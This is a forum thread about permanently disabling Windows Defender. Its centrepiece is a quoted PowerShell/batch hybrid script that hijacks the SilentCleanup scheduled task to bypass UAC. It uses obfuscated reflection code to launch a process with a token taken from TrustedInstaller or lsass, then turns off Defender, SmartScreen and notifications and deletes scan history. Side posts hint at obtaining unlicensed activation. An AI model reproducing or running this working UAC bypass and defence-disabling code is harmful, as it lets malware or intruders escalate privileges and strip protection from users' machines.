Defender Antivirus - What's the best way to disable it permanently

Rr0 · Mar 8, 2021

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Krakatoa · Mar 8, 2021

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wfejkh · Mar 8, 2021

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wfejkh · Mar 8, 2021

great, I got the wrong dang OS?

boyonthebus · Mar 8, 2021

wfejkh said: ↑

great, I got the wrong dang OS?
Click to expand...

Yup, the Evaluation editions can not be activated.

wfejkh · Mar 8, 2021

does it break forum rules to suggest an actual place to get one I can activate?

Mr.X · Mar 8, 2021

wfejkh said: ↑

does it break forum rules to suggest an actual place to get one I can activate?
Click to expand...

No it doesn't. Someone will help you with this asap, you'll see.

wfejkh · Mar 8, 2021

Sorry I have a lot of problems these days and did a full install of a recording studio over 2 days with 500 gigs of libraries and data base and found out im "doing it all wrong"

Tiger-1 · Mar 8, 2021

boyonthebus said: ↑

Yup, the Evaluation editions can not be activated.
Click to expand...

yes it is correct

ch100 · Mar 8, 2021

deleted

Rr0 · Mar 8, 2021

wfejkh said: ↑

I did the above and I got a message in the activator that W10 enterprise evaluation could not be activated.
Click to expand...

Have you fixed it?
IDK what did

ch100 said: ↑

deleted
Click to expand...

post.

Mr.X · Mar 9, 2021

This worked for me. Three months using it and no regrets

BAU said: ↑

Massive improvements to ToggleDefender script!
Because Microsoft bastardized powershell to spam warnings over every little thing along with a copy of the whole parent script block,
if you ever checked powershell eventlog after running the script, it was filled with yellow triangles and oversized log entries.
I've refactored the script to copy itself in the registry and it's loaded from there as needed, fixing the oversize issue.
I've adjusted all keywords that generate a powershell eventlog warning even if it's just passive text, fixing the warnings issue and their delays.
So now it's lean and mean just how I like it. And it even works on Windows 7...

Code:

@(echo off% <#%) &title Toggle Defender, AveYo 2020-11-16 || configure just auto-actions OFF; toggle icon on ltsb
set "0=%~f0"&set 1=%*&powershell -nop -win 1 -c iex ([io.file]::ReadAllText($env:0)) &exit/b ||#>)[1]
sp 'HKCU:\Volatile Environment' 'ToggleDefender' @'
if ($(sc.exe qc windefend) -like '*TOGGLE*') {$TOGGLE=7;$KEEP=6;$A='Enable';$S='OFF'}else{$TOGGLE=6;$KEEP=7;$A='Disable';$S='ON'}

## Comment to hide dialog prompt with Yes, No, Cancel (6,7,2)
if ($env:1 -ne 6 -and $env:1 -ne 7) {
  $choice=(new-object -ComObject Wscript.Shell).Popup($A + ' Windows Defender?', 0, 'Defender is: ' + $S, 51)
  if ($choice -eq 2) {break} elseif ($choice -eq 6) {$env:1=$TOGGLE} else {$env:1=$KEEP}
}

## Without the dialog prompt above will toggle automatically
if ($env:1 -ne 6 -and $env:1 -ne 7) { $env:1=$TOGGLE }

## Comment to not relaunch systray icon
start cmd -args '/d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"' -win 1

## Comment to not hide per-user toggle notifications
$notif='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance'
ni $notif -ea 0|out-null; ri $notif.replace('Settings','Current') -Recurse -Force -ea 0
sp $notif Enabled 0 -Type Dword -Force -ea 0; if ($TOGGLE -eq 7) {rp $notif Enabled -Force -ea 0}

## 'UAC is not a security boundary' - OK, Microsoft. But why do you refuse to adress the lamest AlwaysNotify-compatible bpass?
$ts=New-Object -ComObject 'Schedule.Service'; $ts.Connect(); $baffling=$ts.GetFolder('\Microsoft\Windows\DiskCleanup')
$bpass=$baffling.GetTask('SilentCleanup'); $flaw=$bpass.Definition

## Cascade elevation
$u=0;$w=whoami /groups;if($w-like'*1-5-32-544*'){$u=1};if($w-like'*1-16-12288*'){$u=2};if($w-like'*1-16-16384*'){$u=3}

## Reload from volatile registry as needed
$r=[char]13; $nfo=[char]39+$r+' (\ /)'+$r+'( * . * ) A limited account protects you from UAC exploits'+$r+' ```'+$r+[char]39
$script='-nop -win 1 -c & {rp hkcu:\environment windir -ea 0;$AveYo='+$nfo+';$env:1='+$env:1; $env:__COMPAT_LAYER='Installer'
$script+=';iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)}'; $cmd='powershell '+$script

## 0: limited-user: must runas
if ($u -eq 0) {
  start powershell -args $script -verb runas -win 1; break
}

## 1: admin-user non-elevated: try windows built-in lame uac bpass before runas
if ($u -eq 1) {
  if ($flaw.Actions.Item(1).Path -inotlike '*windir*'){start powershell -args $script -verb runas -win 1; break}
  sp hkcu:\environment windir $('powershell '+$script+' #')
  $z=$bpass.RunEx($null,2,0,$null); $wait=0; while($bpass.State -gt 3 -and $wait -lt 17){sleep -m 100; $wait+=0.1}
  if(gp hkcu:\environment windir -ea 0){rp hkcu:\environment windir -ea 0;start powershell -args $script -verb runas -win 1};break
}

## 2: admin-user elevated: get ti/system via runasti lean and mean snippet [$window hide:0x0E080600 show:0x0E080610]
if ($u -eq 2) {
  $A=[AppDomain]::CurrentDomain."Def`ineDynamicAssembly"(1,1)."Def`ineDynamicModule"(1);$D=@();0..5|%{$D+=$A."Def`ineType"('A'+$_,
  1179913,[ValueType])} ;4,5|%{$D+=$D[$_]."Mak`eByRefType"()} ;$I=[Int32];$J="Int`Ptr";$P=$I.module.GetType("System.$J"); $F=@(0)
  $F+=($P,$I,$P),($I,$I,$I,$I,$P,$D[1]),($I,$P,$P,$P,$I,$I,$I,$I,$I,$I,$I,$I,[Int16],[Int16],$P,$P,$P,$P),($D[3],$P),($P,$P,$I,$I)
  $S=[String]; $9=$D[0]."Def`inePInvokeMethod"('CreateProcess',"kernel`32",8214,1,$I,@($S,$S,$I,$I,$I,$I,$I,$S,$D[6],$D[7]),1,4)
  1..5|%{$k=$_;$n=1;$F[$_]|%{$9=$D[$k]."Def`ineField"('f'+$n++,$_,6)}};$T=@();0..5|%{$T+=$D[$_]."Cr`eateType"();$Z=[uintptr]::size
  nv ('T'+$_)([Activator]::CreateInstance($T[$_]))}; $H=$I.module.GetType("System.Runtime.Interop`Services.Mar`shal");
  $WP=$H."Get`Method"("Write$J",[type[]]($J,$J)); $HG=$H."Get`Method"("AllocH`Global",[type[]]'int32'); $v=$HG.invoke($null,$Z)
  'TrustedInstaller','lsass'|%{if(!$pn){net1 start $_ 2>&1 >$null;$pn=[Diagnostics.Process]::GetProcessesByName($_)[0];}}
  $WP.invoke($null,@($v,$pn.Handle)); $SZ=$H."Get`Method"("SizeOf",[type[]]'type'); $T1.f1=131072; $T1.f2=$Z; $T1.f3=$v; $T2.f1=1
  $T2.f2=1;$T2.f3=1;$T2.f4=1;$T2.f6=$T1;$T3.f1=$SZ.invoke($null,$T[4]);$T4.f1=$T3;$T4.f2=$HG.invoke($null,$SZ.invoke($null,$T[2]))
  $H."Get`Method"("StructureTo`Ptr",[type[]]($D[2],$J,'boolean')).invoke($null,@(($T2-as $D[2]),$T4.f2,$false));$window=0x0E080600
  $9=$T[0]."Get`Method"('CreateProcess').Invoke($null,@($null,$cmd,0,0,0,$window,0,$null,($T4-as $D[4]),($T5-as $D[5]))); break
}

## Create registry paths
$wdp='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender'
' Security Center\Notifications','\UX Configuration','\MpEngine','\Spynet','\Real-Time Protection' |% {ni ($wdp+$_)-ea 0|out-null}

## Toggle Defender
if ($env:1 -eq 7) {
  rp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications' DisableNotifications -Force -ea 0
  rp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration' Notification_Suppress -Force -ea 0
  rp 'HKLM:\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications' DisableNotifications -Force -ea 0
  rp 'HKLM:\SOFTWARE\Microsoft\Windows Defender\UX Configuration' Notification_Suppress -Force -ea 0
  rp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\System' EnableSmartScreen -Force -ea 0
  rp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' DisableAntiSpyware -Force -ea 0
  rp 'HKLM:\SOFTWARE\Microsoft\Windows Defender' DisableAntiSpyware -Force -ea 0
  sc.exe config windefend depend= RpcSs
  net1 start windefend
  kill -Force -Name MpCmdRun -ea 0
  start ($env:ProgramFiles+'\Windows Defender\MpCmdRun.exe') -Arg '-EnableService' -win 1
} else {
  sp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications' DisableNotifications 1 -Type Dword -ea 0
  sp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration' Notification_Suppress 1 -Type Dword -Force -ea 0
  sp 'HKLM:\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications' DisableNotifications 1 -Type Dword -ea 0
  sp 'HKLM:\SOFTWARE\Microsoft\Windows Defender\UX Configuration' Notification_Suppress 1 -Type Dword -Force -ea 0
  sp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\System' EnableSmartScreen 0 -Type Dword -Force -ea 0
  sp 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' DisableAntiSpyware 1 -Type Dword -Force -ea 0
  sp 'HKLM:\SOFTWARE\Microsoft\Windows Defender' DisableAntiSpyware 1 -Type Dword -Force -ea 0
  net1 stop windefend
  sc.exe config windefend depend= RpcSs-TOGGLE
  kill -Name MpCmdRun -Force -ea 0
  start ($env:ProgramFiles+'\Windows Defender\MpCmdRun.exe') -Arg '-DisableService' -win 1
  del ($env:ProgramData+'\Microsoft\Windows Defender\Scans\mpenginedb.db') -Force -ea 0 ## Commented = keep scan history
  del ($env:ProgramData+'\Microsoft\Windows Defender\Scans\History\Service') -Recurse -Force -ea 0
}

## PERSONAL CONFIGURATION TWEAK - COMMENT OR UNCOMMENT #rp ENTRIES TO TWEAK OR REVERT
sp $wdp DisableRoutinelyTakingAction 1 -Type Dword -Force -ea 0 ## Auto Actions OFF
# rp $wdp DisableRoutinelyTakingAction -Force -ea 0 ## Auto Actions ON [default]
sp $wdp PUAProtection 1 -Type Dword -Force -ea 0 ## Potential Unwanted Apps ON
rp $wdp PUAProtection -Force -ea 0 ## Potential Unwanted Apps OFF [default]
sp ($wdp+'\MpEngine') MpCloudBlockLevel 2 -Type Dword -Force -ea 0 ## Cloud blocking level HIGH
rp ($wdp+'\MpEngine') MpCloudBlockLevel -Force -ea 0 ## Cloud blocking level LOW [default]
sp ($wdp+'\Spynet') SpyNetReporting 2 -Type Dword -Force -ea 0 ## Cloud protection ADVANCED
rp ($wdp+'\Spynet') SpyNetReporting -Force -ea 0 ## Cloud protection BASIC [default]
sp ($wdp+'\Spynet') SubmitSamplesConsent 0 -Type Dword -Force -ea 0 ## Sample Submission ALWAYS-PROMPT
rp ($wdp+'\Spynet') SubmitSamplesConsent -Force -ea 0 ## Sample Submission AUTOMATIC [default]
sp ($wdp+'\Real-Time Protection') RealtimeScanDirection 1 -Type Dword -Force -ea 0 ## Scan incoming file only
rp ($wdp+'\Real-Time Protection') RealtimeScanDirection -Force -ea 0 ## Scan incoming and outgoing file [default]

## Uncomment to close windows built-in lame uac bpass and/or reset uac
# if ($flaw.Actions.Item(1).Path -ilike '*windir*') {
# $flaw.Actions.Item(1).Path=$env:systemroot+'\system32\cleanmgr.exe' ## %windir%\system32\cleanmgr.exe [default]
# $baffling.RegisterTaskDefinition($bpass.Name,$flaw,20,$null,$null,$null) ## UAC silent bpass mitigation
# $uac='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System'
# sp $uac EnableLUA 1 -Type Dword -Force -ea 0 ## UAC enable
# sp $uac ConsentPromptBehaviorAdmin 2 -Type Dword -Force -ea 0 ## UAC always notify - bpassable otherwise
# sp $uac PromptOnSecureDesktop 1 -Type Dword -Force -ea 0 ## UAC secure - prevent automation
# }

'@ -Force -ea 0; iex((gp Registry::HKEY_Users\S-1-5-21*\Volatile* ToggleDefender -ea 0)[0].ToggleDefender)
#-_-# hybrid script, can be pasted directly into powershell console

changed UAC Show more details message to:
:cat22:

A limited account protects you from UAC exploits
Reminder that on admin account you won't see this UAC dialog even if set to AlwaysNotify
because Microsoft said "UAC is not a security boundary"

2020.12.03 - just noticed it was behind the pastebin version featuring a more intuitive dialog and fixing the systray icon for ltsb

Keep it on your desktop as a bat file and just click on it, or paste the text directly in a powershell console,
to guarantee Defender is off while doing i/o intensive tasks or testing stuff. Don't forget to re-enable Defender once you're done and start browsing..

Click to expand...

ch100 · Mar 9, 2021

Rr0 said: ↑

Have you fixed it?
IDK what did post.
Click to expand...

It was related to the method of disabling the antivirus. Initially I thought it was not working, but it still works after few hours. Still monitoring as I tried it in the past and it always reverted to enabling the antivirus against the policy.

windows builder · Mar 9, 2021

Rr0 said: ↑

What's the best way to permanently disable Windows Defender Antivirus on 21h1?
Click to expand...

Defender Control tool

ch100 · Mar 9, 2021

windows builder said: ↑

Defender Control tool
Click to expand...

What does it actually do behind the scenes?

windows builder · Mar 9, 2021

ch100 said: ↑

What does it actually do behind the scenes?
Click to expand...

Disables the service and the main process and prevents them from starting again.

dzem · Mar 9, 2021

windows builder said: ↑

Defender Control tool
Click to expand...

Where to find that?

strotee · Mar 9, 2021

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Rr0 · Mar 10, 2021

windows builder said: ↑

Defender Control tool
Click to expand...

I have to say it's the best tool ever. Thank you!

Defender Antivirus - What's the best way to disable it permanently

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